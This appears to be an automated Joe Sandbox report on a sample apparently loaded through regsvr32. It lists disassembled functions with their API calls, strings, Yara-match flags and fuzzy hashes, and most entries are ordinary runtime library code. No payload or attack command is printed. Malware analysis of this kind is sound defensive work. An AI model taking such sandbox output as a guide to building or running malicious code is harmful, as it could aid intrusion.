Instruction ID: aa5c2e40b338a39f5282e2b1a9712b15511bc0c1a15e4521236deb56e495c17b
Opcode Fuzzy Hash: 4ba2408b7629b99c71698248f90823044debc3fed0daeb613643dfe7bddc3e00
Instruction Fuzzy Hash: 0B310876A042009FEB659F68D8C876937A9FB44324F5005AAED06CB385D735D8E1CBD0

Function 02634050 Relevance: 7.6, APIs: 5, Instructions: 78memoryCOMMON

Download Yara Rule

APIs

RtlEnterCriticalSection.NTDLL(?), ref: 02634064

Part of subcall function 02631420: HeapFree.KERNEL32(?,00000000,?,?,?,026340A1,?,00000000,02634029,?,02645054,02633628), ref: 0263143D
Part of subcall function 02631420: _free.LIBCMT ref: 02631459

HeapDestroy.KERNEL32(?,?,00000000,02634029,?,02645054,02633628), ref: 026340A9
HeapCreate.KERNEL32(?,?,?,?,00000000,02634029,?,02645054,02633628), ref: 026340C4
SetEvent.KERNEL32(?,?,00000000,02634029,?,02645054,02633628), ref: 02634140
RtlLeaveCriticalSection.NTDLL(?), ref: 02634147

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: Heap$CriticalSection$CreateDestroyEnterEventFreeLeave_free
String ID:
API String ID: 1767077271-0
Opcode ID: 4a3da7fb678c79a6339a377ee68fef72df8bff35a4f9b6ffb2c68e72344071ae
Instruction ID: db54e0bcd3646886469acae9f6f3ddb8b6a1389f444473de004e4230ef1c87db
Opcode Fuzzy Hash: 4a3da7fb678c79a6339a377ee68fef72df8bff35a4f9b6ffb2c68e72344071ae
Instruction Fuzzy Hash: EC312678600A46AFD705DB78C898BAAF7E9FF48310F148659E42AC7250CB35B865CFD0

Function 6C8FD850 Relevance: 7.6, APIs: 5, Instructions: 73COMMON

Download Yara Rule

APIs

WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(6C9CA114,00000000,?,6C8EA257,6C9CA118,00000000), ref: 6C8FD87C
WakeByAddressSingle.API-MS-WIN-CORE-SYNCH-L1-2-0(6C9CA11C,00000000,?,6C8EA257,6C9CA118,00000000), ref: 6C8FD8BA
WakeByAddressAll.API-MS-WIN-CORE-SYNCH-L1-2-0(6C9CA118,?,6C8EA257,6C9CA118,00000000), ref: 6C8FD8CE
TlsSetValue.KERNEL32(00000000,00000001,00000000,00000000,?,6C98426C,00000024,6C984290,00000000,?,6C8EA257,6C9CA118,00000000), ref: 6C8FD8FE
TlsSetValue.KERNEL32(00000000,00000000,6C8EA257,6C9CA118,00000000), ref: 6C8FD913

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: AddressWake$SingleValue
String ID:
API String ID: 1317188499-0
Opcode ID: 8f14fa707657847e121040e1bd8e8b4f193dc0c83e4907926c9ef6c0f4f6b3f6
Instruction ID: 4fd76a15b389ebfee826f4da9d0b7d3cbc68015c93f3ee927945eec09c57481a
Opcode Fuzzy Hash: 8f14fa707657847e121040e1bd8e8b4f193dc0c83e4907926c9ef6c0f4f6b3f6
Instruction Fuzzy Hash: E51136303041296BDB261E559900BD673A89F4936EF108C3EF75EDBA80CF20A44387C5

Function 6C892ED0 Relevance: 7.6, APIs: 5, Instructions: 68COMMON

Download Yara Rule

APIs

VariantToPropVariant.PROPSYS(?), ref: 6C892EED
PropVariantToBSTR.PROPSYS(?,00000000), ref: 6C892F2C
PropVariantClear.OLE32(?), ref: 6C892F56
SysFreeString.OLEAUT32(00000000), ref: 6C892F83
PropVariantClear.OLE32(?), ref: 6C892F89

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Variant$Prop$Clear$FreeString
String ID:
API String ID: 2508621922-0
Opcode ID: 63a484797ddb0f828f98ce2d9f9b8e43d88344ee41d09c571d9cc26e6d5aac0e
Instruction ID: 361cdcdef94d9a3af7f617353998706ee0e7b120ba7837d687052bd8e166b0f6
Opcode Fuzzy Hash: 63a484797ddb0f828f98ce2d9f9b8e43d88344ee41d09c571d9cc26e6d5aac0e
Instruction Fuzzy Hash: A321AFB19087459BD720CF29C944A9BF7F8FFA8214F008A2EF499A7610E770D5458752

Function 0263E617 Relevance: 7.6, APIs: 5, Instructions: 68COMMONLIBRARYCODE

Download Yara Rule

APIs

_malloc.LIBCMT ref: 0263E625

Part of subcall function 02637043: __FF_MSGBANNER.LIBCMT ref: 0263705C
Part of subcall function 02637043: __NMSG_WRITE.LIBCMT ref: 02637063
Part of subcall function 02637043: RtlAllocateHeap.NTDLL(00000000,00000001,00000001), ref: 02637088

_free.LIBCMT ref: 0263E638

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: AllocateHeap_free_malloc
String ID:
API String ID: 1020059152-0
Opcode ID: 917929ce2ead8fdfb053d0a4a5c2090d309fdc116ca0e1980830da503adefb97
Instruction ID: a3d6ecb74598aee861a2637182da48e84d9dda5dc91afeeb81097a707c7d9c50
Opcode Fuzzy Hash: 917929ce2ead8fdfb053d0a4a5c2090d309fdc116ca0e1980830da503adefb97
Instruction Fuzzy Hash: 27110676C40611ABCB232F74A80475D7B96AF52361B344929F8959B240DF36C4918FA8

Function 04F87AB0 Relevance: 7.6, APIs: 5, Instructions: 63COMMON

Download Yara Rule

APIs

___set_flsgetvalue.LIBCMT ref: 04F87AD5
__calloc_crt.LIBCMT ref: 04F87AE1
__getptd.LIBCMT ref: 04F87AEE
_free.LIBCMT ref: 04F87B38
__dosmaperr.LIBCMT ref: 04F87B43

Part of subcall function 04F879A2: __getptd_noexit.LIBCMT ref: 04F879A2

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: ___set_flsgetvalue__calloc_crt__dosmaperr__getptd__getptd_noexit_free
String ID:
API String ID: 955811338-0
Opcode ID: 77de361b4cd7367567e0d369d8c6b3654e3291b6ddb4abbe59ddb5ccefd4c70a
Instruction ID: b3e0c26f206c535069aa5479246ba1a94883e162a854a351ffe795af295bbc92
Opcode Fuzzy Hash: 77de361b4cd7367567e0d369d8c6b3654e3291b6ddb4abbe59ddb5ccefd4c70a
Instruction Fuzzy Hash: 4911E532604706AFEB10BFA5EC40E9B7BE9EF84768720002DF9149E151DB71F40387A1

Function 6C94CA30 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

_lock.MSVCRT ref: 6C94CA49
_unlock.MSVCRT ref: 6C94CA71
calloc.MSVCRT ref: 6C94CABF

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: _lock_unlockcalloc
String ID:
API String ID: 3876498383-0
Opcode ID: ab13595c569d6116c3506e4665726baeaa60c1a24c9c98289cb0a5977b08b006
Instruction ID: b012cf26fb7ca6a5577a487856e1fa49046956c5866d9a1b44473705fd3572fd
Opcode Fuzzy Hash: ab13595c569d6116c3506e4665726baeaa60c1a24c9c98289cb0a5977b08b006
Instruction Fuzzy Hash: A61119702452118FD700EF68C88075ABBE4FF95394F15C669D898DB785EB34D848CBA2

Function 6C892520 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

SysStringLen.OLEAUT32 ref: 6C892549
SysStringLen.OLEAUT32 ref: 6C892554
SysStringLen.OLEAUT32 ref: 6C892566
SysStringLen.OLEAUT32 ref: 6C892579
memcmp.MSVCRT(6C97D700,6C97D700), ref: 6C892589

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: String$memcmp
String ID:
API String ID: 2223658989-0
Opcode ID: 3181424c49076631bd1776d0c5497c08c48a04e7cc7cfef1ad3c5c21fed26948
Instruction ID: c5531d0a0da7b1bfc093e0703853b3943ee84250a98520b739cdd46db2849290
Opcode Fuzzy Hash: 3181424c49076631bd1776d0c5497c08c48a04e7cc7cfef1ad3c5c21fed26948
Instruction Fuzzy Hash: FF01D6B3B013146BEB209D7E8C84AAB7BDCAF59278B054874EC08E7701E739CC0482E0

Function 04F93D48 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 04F93D70

Part of subcall function 04F93900: __getptd.LIBCMT ref: 04F9390E
Part of subcall function 04F93900: __getptd.LIBCMT ref: 04F9391C

__getptd.LIBCMT ref: 04F93D7A

Part of subcall function 04F8A108: __getptd_noexit.LIBCMT ref: 04F8A10B
Part of subcall function 04F8A108: __amsg_exit.LIBCMT ref: 04F8A118

__getptd.LIBCMT ref: 04F93D88
__getptd.LIBCMT ref: 04F93D96
__getptd.LIBCMT ref: 04F93DA1

Part of subcall function 04F939A5: __CallSettingFrame@12.LIBCMT ref: 04F939F1

Part of subcall function 04F93E6E: __getptd.LIBCMT ref: 04F93E7D
Part of subcall function 04F93E6E: __getptd.LIBCMT ref: 04F93E8B

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: 78a2e994d0c7bf30a9674184c11b94725c17fdf72b8fda81513464e831a267d6
Instruction ID: 74a0609f49e9422fafbb53cc33540276d8201df1c054a41e37d584f3f69af4d8
Opcode Fuzzy Hash: 78a2e994d0c7bf30a9674184c11b94725c17fdf72b8fda81513464e831a267d6
Instruction Fuzzy Hash: 7711DA71D0020ADFEF00EFA4D944B9D7BF1FF08318F10816AE814AB250DB38AA569F54

Function 02643673 Relevance: 7.5, APIs: 5, Instructions: 49COMMONLIBRARYCODE

Download Yara Rule

APIs

__CreateFrameInfo.LIBCMT ref: 0264369B

Part of subcall function 0264322B: __getptd.LIBCMT ref: 02643239
Part of subcall function 0264322B: __getptd.LIBCMT ref: 02643247

__getptd.LIBCMT ref: 026436A5

Part of subcall function 02639A33: __getptd_noexit.LIBCMT ref: 02639A36
Part of subcall function 02639A33: __amsg_exit.LIBCMT ref: 02639A43

__getptd.LIBCMT ref: 026436B3
__getptd.LIBCMT ref: 026436C1
__getptd.LIBCMT ref: 026436CC

Part of subcall function 026432D0: __CallSettingFrame@12.LIBCMT ref: 0264331C

Part of subcall function 02643799: __getptd.LIBCMT ref: 026437A8
Part of subcall function 02643799: __getptd.LIBCMT ref: 026437B6

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __getptd$CallCreateFrameFrame@12InfoSetting__amsg_exit__getptd_noexit
String ID:
API String ID: 3282538202-0
Opcode ID: ec3543f510356637c08229af0eb5953e989d91e34794377bc36418f8843f716b
Instruction ID: 0112794fd901d60c151d76c3e74101d71bad123a6e2ad8f75526c8a82a36050c
Opcode Fuzzy Hash: ec3543f510356637c08229af0eb5953e989d91e34794377bc36418f8843f716b
Instruction Fuzzy Hash: 951149B1C05209DFDB01EFA4D884BEE7BF1FF04310F5481A9E854A7250DBB89A119F94

Function 02639906 Relevance: 7.5, APIs: 5, Instructions: 40COMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(02645EB4,02647C00,00000008,02639A0E,00000000,00000000,?,0263A0B0,?,00000001,?,?,0263C10B,00000018,02647C70,0000000C), ref: 02639917
__lock.LIBCMT ref: 0263994B

Part of subcall function 0263C180: __mtinitlocknum.LIBCMT ref: 0263C196
Part of subcall function 0263C180: __amsg_exit.LIBCMT ref: 0263C1A2
Part of subcall function 0263C180: RtlEnterCriticalSection.NTDLL(?), ref: 0263C1AA

InterlockedIncrement.KERNEL32(02649720), ref: 02639958
__lock.LIBCMT ref: 0263996C
___addlocaleref.LIBCMT ref: 0263998A

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __lock$CriticalEnterHandleIncrementInterlockedModuleSection___addlocaleref__amsg_exit__mtinitlocknum
String ID:
API String ID: 637971194-0
Opcode ID: f5b094b5ba4cddfb46deb40ab861446f93bd0bc04dff94238ecc9614fc4e572d
Instruction ID: 34e4b71838977f7f2fade6259f0e577be2143d2ef694b0e688959e7d8ca4be9a
Opcode Fuzzy Hash: f5b094b5ba4cddfb46deb40ab861446f93bd0bc04dff94238ecc9614fc4e572d
Instruction Fuzzy Hash: 5A01C071845B00EFE721AF65C90474AFBE1EF60326F10894EE4D697390CBB0A640CF59

Function 04F8E855 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 04F8E861

Part of subcall function 04F8A108: __getptd_noexit.LIBCMT ref: 04F8A10B
Part of subcall function 04F8A108: __amsg_exit.LIBCMT ref: 04F8A118

__getptd.LIBCMT ref: 04F8E878
__amsg_exit.LIBCMT ref: 04F8E886
__lock.LIBCMT ref: 04F8E896
__updatetlocinfoEx_nolock.LIBCMT ref: 04F8E8AA

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: e1ecb88f92b0842774c6f29bde77af3f72ff2c3df1475626632d6863d63b8cab
Instruction ID: 7012d96c4b1e826b4dbd506b0ef32b12ab476e80a14f1f984ac9da1f73857ff4
Opcode Fuzzy Hash: e1ecb88f92b0842774c6f29bde77af3f72ff2c3df1475626632d6863d63b8cab
Instruction Fuzzy Hash: 3AF06D32E84A18AAFB24BB64AC0574E3BA0EF00728F10411ED510AF1C0CB647843CA56

Function 0263E180 Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 0263E18C

Part of subcall function 02639A33: __getptd_noexit.LIBCMT ref: 02639A36
Part of subcall function 02639A33: __amsg_exit.LIBCMT ref: 02639A43

__getptd.LIBCMT ref: 0263E1A3
__amsg_exit.LIBCMT ref: 0263E1B1
__lock.LIBCMT ref: 0263E1C1
__updatetlocinfoEx_nolock.LIBCMT ref: 0263E1D5

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 4d39e369051f6f564bf6d3440415ab8c672199f938604d9dc2dd8ba514a51de1
Instruction ID: 791a33e9b83eeb4076e69ce8fb3a200329dbefb06ad0c238da8a710a20b565b8
Opcode Fuzzy Hash: 4d39e369051f6f564bf6d3440415ab8c672199f938604d9dc2dd8ba514a51de1
Instruction Fuzzy Hash: 00F0BE32D8A710DBE72BBBB49801B5E73E2AF00725F14420EE451A73C0CFA55542CEAD

Function 6C861FC0 Relevance: 7.3, APIs: 2, Strings: 2, Instructions: 269COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32(?), ref: 6C8620E1
VariantClear.OLEAUT32(?), ref: 6C862235

Strings

CriticalTripPoint, xrefs: 6C8621B1
CurrentTemperature, xrefs: 6C862045

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: ClearVariant
String ID: CriticalTripPoint$CurrentTemperature
API String ID: 1473721057-3920528518
Opcode ID: dbace2a264522963a30bb2e1dd280f85fd375d8b36585dba9ba9da48cdf51b50
Instruction ID: 7d27e77d01399446d767893627752b35b919108b9d9dd9d444be19bc1da23a44
Opcode Fuzzy Hash: dbace2a264522963a30bb2e1dd280f85fd375d8b36585dba9ba9da48cdf51b50
Instruction Fuzzy Hash: A6A1B2B19083009BD714CE2AC949B9BF7E9AFC4348F048E3DF59597A90E779E548CB42

Function 6C87C400 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 177registryCOMMON

Download Yara Rule

APIs

Part of subcall function 6C87CC70: RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00020019,00000001), ref: 6C87CCEA

RegOpenKeyExW.ADVAPI32(80000002,?,00000000,00020019,?), ref: 6C87C4CA
RegQueryValueExW.ADVAPI32(00000001,?,00000000,?,00000000,00000004,80000002,?,00000000,00020019,?), ref: 6C87C539
RegCloseKey.ADVAPI32(?,00000001,?,00000000,?,00000000,00000004,80000002,?,00000000,00020019,?), ref: 6C87C57E

Part of subcall function 6C89A890: GetErrorInfo.OLEAUT32(00000000,00000000,00000000,?,?,6C8768BC,00000000,?,0000003C,00000000), ref: 6C89A8A5

Strings

ProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber (), xrefs: 6C87C45D

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: Open$CloseErrorInfoQueryValue
String ID: ProductNameWindows 10 Windows 11 CurrentBuildNumberCurrentMajorVersionNumber ()
API String ID: 2599130380-3947172187
Opcode ID: 3f2c71bea10582427bfdbfa0ba810ec00d6cb9b347dc3a07f81bb02947771d8f
Instruction ID: 0ebda0d0d712106e897b77c1f5dc6c3c889e81b96f886e93e7a75f592538cd8c
Opcode Fuzzy Hash: 3f2c71bea10582427bfdbfa0ba810ec00d6cb9b347dc3a07f81bb02947771d8f
Instruction Fuzzy Hash: 62614AB5D002089BEB20DFA4DA45BEEBBB8FF55308F144425E804BB641F775DE098BA0

Function 04F85F05 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04F85F2E
_memset.LIBCMT ref: 04F85F4D
_memset.LIBCMT ref: 04F85F82

Part of subcall function 04F860C5: _vswprintf_s.LIBCMT ref: 04F860D6

Strings

D, xrefs: 04F85F61

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: _memset$_vswprintf_s
String ID: D
API String ID: 3424173483-2746444292
Opcode ID: ad18f4a286e464ebda1c59b161c59facedf8c9e110f188be35c64217384010a6
Instruction ID: cce055b93c5e3b5d19c1b6a8023c38898461b740c9ad9fc94aa0326f359cac91
Opcode Fuzzy Hash: ad18f4a286e464ebda1c59b161c59facedf8c9e110f188be35c64217384010a6
Instruction Fuzzy Hash: 6F4179B1A40304ABE720DF70DC45FEA77B8EF54704F10459DB64DDB1C0DAB5AA858B58

Function 04F940F5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 04F94108

Part of subcall function 04F94063: ___BuildCatchObjectHelper.LIBCMT ref: 04F94099

_UnwindNestedFrames.LIBCMT ref: 04F9411F

Strings

csm, xrefs: 04F94104, 04F94119, 04F9412C, 04F9414A, 04F9415A
csm, xrefs: 04F940F7

Memory Dump Source

Source File: 00000007.00000002.2918694072.0000000004F80000.00000040.00000020.00020000.00000000.sdmp, Offset: 04F80000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_4f80000_regsvr32.jbxd

Yara matches

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: 16b4d96c52a675a85aadd7780c5692e7fe0401f071039b45db3ec49a0315aeab
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: 49012431404119BBEF236F50CC85EAA3FAAEF28344F004010BD0855120D732EDB3DBA1

Function 02643A20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

___BuildCatchObject.LIBCMT ref: 02643A33

Part of subcall function 0264398E: ___BuildCatchObjectHelper.LIBCMT ref: 026439C4

_UnwindNestedFrames.LIBCMT ref: 02643A4A

Strings

csm, xrefs: 02643A2F, 02643A44, 02643A57, 02643A75, 02643A85
csm, xrefs: 02643A22

Memory Dump Source

Source File: 00000007.00000002.2916891483.0000000002631000.00000020.10000000.00040000.00000000.sdmp, Offset: 02631000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_2631000_regsvr32.jbxd

Similarity

API ID: BuildCatchObject$FramesHelperNestedUnwind
String ID: csm$csm
API String ID: 3487967840-3733052814
Opcode ID: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction ID: c1e1e3338b0aa5e7f680adb30db70634d38d9a268732e1c677b415817df7b6e4
Opcode Fuzzy Hash: 5a0efde82555800522ebcbcdf0ebfc514e59fc27468206ba67c06b53666bf625
Instruction Fuzzy Hash: 5D01F27104110ABBDF12AF51CC44EEB7F6AEF18354F208159BD9815220EB32D9B1DFA4

Function 6C92EE40 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 256COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 6C92F051
memset.MSVCRT ref: 6C92F0D6

Strings

', xrefs: 6C92EE51
+NaNinf00e00E0assertion failed: ndigits > 0, xrefs: 6C92EE44

Memory Dump Source

Source File: 00000007.00000002.2918930947.000000006C851000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C850000, based on PE: true

Associated: 00000007.00000002.2918891880.000000006C850000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919021980.000000006C954000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919055650.000000006C955000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919135650.000000006C9CA000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919170123.000000006C9CB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919206104.000000006C9CC000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919258466.000000006C9CD000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.2919294205.000000006C9D1000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c850000_regsvr32.jbxd

Similarity

API ID: memset
String ID: '$+NaNinf00e00E0assertion failed: ndigits > 0
API String ID: 2221118986-2653426196
Opcode ID: 92ce96908bd32a8c82add691a1806c5426f28ef92f7757c9edc28a6e5e88a48a
Instruction ID: 4695bb20287f52d6d83c17a41c1c0e6f39004dfc132f8c6acf4c7344bb48fc49
Opcode Fuzzy Hash: 92ce96908bd32a8c82add691a1806c5426f28ef92f7757c9edc28a6e5e88a48a
